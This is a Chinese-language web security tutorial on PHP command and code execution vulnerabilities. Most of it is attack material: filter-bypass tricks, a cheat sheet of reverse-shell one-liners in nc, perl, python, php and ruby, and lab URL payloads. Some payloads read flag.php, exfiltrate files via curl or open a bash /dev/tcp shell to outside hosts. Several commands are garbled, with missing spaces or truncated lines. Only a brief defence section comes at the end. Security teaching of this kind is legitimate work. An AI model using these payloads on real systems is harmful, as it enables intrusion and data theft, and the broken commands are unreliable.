命令执行(RCE)漏洞和代码执行漏洞区别如下:
- 代码执行实际上是调用服务器网站代码进行执行
- 命令执行则是调用操作系统命令进行执行
1、什么是命令执行 命令执行(Remote Command Execution, RCE)
Web应用的脚本代码在执行命令的时候过滤不严
从而注入一段攻击者能够控制的代码,在服务器上以Web服务的后台权限远程执行恶意指令
成因
- 代码层过滤不严
- 系统的漏洞造成命令注入
- 调用的第三方组件存在代码执行漏洞常见的命令执行函数
- PHP:exec、shell_exec、system、passthru、popen、proc_open等
- ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
- Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
并把输出结果的最后一行作为字符串返回
如果执行失败则返回false
这个也最为常用
(2)exec 不输出结果,返回执行结果的最后一行
可以使用output进行输出
(3)passthru 此函数只调用命令
并把运行结果原样地直接输出
没有返回值。
(4)shell_exec 不输出结果,返回执行结果
使用反引号(``)时调用的就是此函数
(5)ob_start 此函数将打开输出缓冲,当输出缓冲激活后,脚本将不会输出内容(除http标头外)
相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用
ob_get_contents()
函数复制到一个字符串变量中想要输出存储在内部缓冲区中的内容
【干货 | 命令执行漏洞和代码执行漏洞详解】可以使用
ob_end_flush()
函数另外, 使用
ob_end_clean()
函数会静默丢弃掉缓冲区的内容
3、命令连接符 Windows和Linux都支持的命令连接符:
cmd1 | cmd2
只执行cmd2-cmd1 || cmd2
只有当cmd1执行失败后,cmd2才被执行cmd1 & cmd2
先执行cmd1,不管是否成功,都会执行cmd2cmd1 && cmd2
先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux还支持分号;
cmd1 ; cmd2
按顺序依次执行,先执行cmd1再执行cmd2
代码执行漏洞是由于服务器
对危险函数过滤不严
导致用户输入的一些字符串可以被转换成代码来执行,从而造成代码执行漏洞成因
- 用户能够控制函数输入
- 存在可执行代码的危险函数常见代码执行函数
- PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
- Javascript: eval
- Vbscript:Execute、Eval
- Python: exec
(1)
${}
执行代码
中间的php代码将会被解析
(2)eval 将字符串当做函数进行执行
需要传入一个完整的语句
必须以分号
;
结尾最常用的函数
(3)assert 判断是否为字符串
是则当成代码执行
在php7.0.29之后的版本不支持动态调用
低版本
7.0.29之后
(4)preg_replace 用来执行一个正则表达式的搜索和替换
执行代码需要使用
/e
修饰符前提是不超过php7
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
$pattern
: 正则表达式匹配的内容 -$replacement
: 用于替换的字符串或字符串数组。$subject
: 要搜索替换的目标字符串或字符串数组
文章图片
(5)create_function 用来创建匿名函数
create_function(string $args,string $code)
- args是要创建的函数的参数
- code是函数内的代码
payload
?sort_by="]);
}phpinfo();
/*
(6)array_map 为数组的每个元素应用回调函数
payload
?a=assert&b=phpinfo();
(7)call_user_func 回调函数,可以使用is_callable查看是否可以进行调用
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数
其余参数是回调函数的参数
(8)call_user_func_array 回调函数,参数为数组
mixed call_user_func_array ( callable $callback , array $param_arr )
第一个参数作为回调函数(callback)调用
把参数数组作(param_arr)为回调函数的的参数传入
(9)array_filter
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数
如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中
数组的键名保留不变。
(10)usort 使用自定义函数对数组进行排序
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序
如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数
payload
1[]=phpinfo()&1[]=123&2[]=assert
三、绕过姿势
文章图片
1、常见分隔符
- 换行符
%0a
- 回车符
%0d
- 连续指令
;
- 后台进程
&
- 管道符
|
- 逻辑
||
、&&
<
${IFS}
$IFS$9
%09
$IFS
在linux下表示分隔符- 加一个
{}
固定了变量名- 同理在后面加个$
可以起到截断的作用 - $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
%00
%20
4、敏感字符绕过
(1)变量绕过
a=l,b=s;
$a$b
(2)base64编码绕过
echo 'cat' | base64
`echo 'Y2F0Cg==' | base64 -d` test.txt
(3)未定义的初始化变量
cat$b /etc/passwd
(4)连接符
cat /etc/pass'w'd
(5)通配符 Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件
可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档
ls命令我们可以通过以下语法代替执行
/???/?s --help
四、反向连接(Reverse Shell)的各类技术方法
- rm/tmp/f;
mkfifo/tmp/f;
cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f
- perl-e 'use Socket;
$i="192.168.80.30";
$p=443;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh-i");
};
'
- python-c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.80.30",443));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
'
- php-r '$sock=fsockopen("192.168.80.30",443);
exec("/bin/sh-i<&3 >&3 2>&3");
’
- ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;
execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'
五、一些场景应用
1、无任何过滤或简单过滤
?http://192.168.80.30/low.php?name=;
cat flag.php
?http://192.168.80.30/low.php?name=%26cat flag.php
?http://192.168.80.30/low.php?name=|cat flag.php
?http://192.168.80.30/low.php?name=`cat flag.php`
2、过滤了; ,|,&,`
?http://192.168.80.30/medium.php?name=%0acat flag.php
?http://192.168.80.30/medium.php?name=$(cat flag.php)
3、过滤了; ,|,&,`,\s
?http://192.168.80.30/high.php?name=$(cat
4、过滤了关键词,比如cat
http://192.168.80.30/low.php?name=;
c''at flag.php
http://192.168.80.30/low.php?name=;
c\at flag.php
http://192.168.80.30/low.php?name=;
c$@at flag.php
http://192.168.80.30/high.php?name=$(c\at
5、页面无命令结果的回显
?http://192.168.80.30/noecho.php?name=;
curl 192.168.9.111:1234?hh=`ls|base64`
?http://192.168.80.30/noecho.php?name=;
curl 192.168.9.111:1234?hh=`cat flag.php|base64`
?http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
?http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
?http://192.168.80.30/noecho.php?name=;
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.9.111",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
'
六、防范措施
- 尽量不要使用系统执行命令
- 在进入执行命令函数/方法前,变量要做好过滤,对敏感字符转义
- 在使用动态函数前,确保使用的函数是指定的函数之一
- 对PHP语言,不能完全控制的危险函数就不要用
文章图片
本文由mdnice多平台发布
推荐阅读
- 软件测试|软件测试开发基础|测开中的几个工具开发实战
- Obsidian 初体验
- 程序员|为什么Charles抓不到HTTPS(为什么会有这种事!)
- 程序人生|程序员面试被问,有没有别家的offer(这个问题怎么回答?)
- 摆脱五彩斑斓的黑,成为七彩程序员!
- SRE,了解一下(35+岁程序员新选择)
- 软件测试|软件测试工程师的自我认识和定位
- Java|【5分钟背八股】SpringMVC九大内置组件(SpringMVC的工作流程?)
- Java|4000 字详解TCP超时与重传,看完没收获算我输